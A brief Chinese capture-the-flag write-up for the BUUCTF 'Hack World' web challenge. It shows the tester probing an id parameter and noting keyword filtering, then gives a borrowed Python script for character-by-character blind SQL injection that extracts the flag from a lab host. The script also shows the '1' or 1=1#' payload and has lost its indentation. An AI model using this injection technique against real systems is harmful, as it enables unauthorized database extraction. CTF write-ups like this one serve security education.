题目
打开页面,页面提示为,想要的都在‘flag’表和‘flag’列里
随便输入一个数字看回显(1 2 3),发现回显不一样
输入1
输入2
输入3
输入4
输入单引号,显示bool(false)
尝试一下万能密码 1' or 1=1#
发现有过滤
这里使用了bp抓包,发现关键字都被过滤了
这里用异或算法进行绕过
采用大佬的脚本
importrequests
s=requests.session()
flag =''
for iin range(1,50):
for j in'-{abcdefghijklmnopqrstuvwxyz0123456789}':
url="http://383826c2-f283-449b-9b7d-c64321040ddc.node4.buuoj.cn:81/index.php"
sqls="if(ascii(substr((select(flag)from(flag)),{},1))=ascii('{}'),1,2)".format(i,j)
data={"id":sqls}
c = s.post(url,data=data,timeout=10)
if 'Hello' in c.text:
flag += j
print(flag)
break
得到flag
参考文章链接:
[CISCN2019 华北赛区 Day2 Web1]Hack World-安全小天地
BUUCTF:[CISCN2019 华北赛区 Day2 Web1]Hack World_小小橘颂子的博客-CSDN博客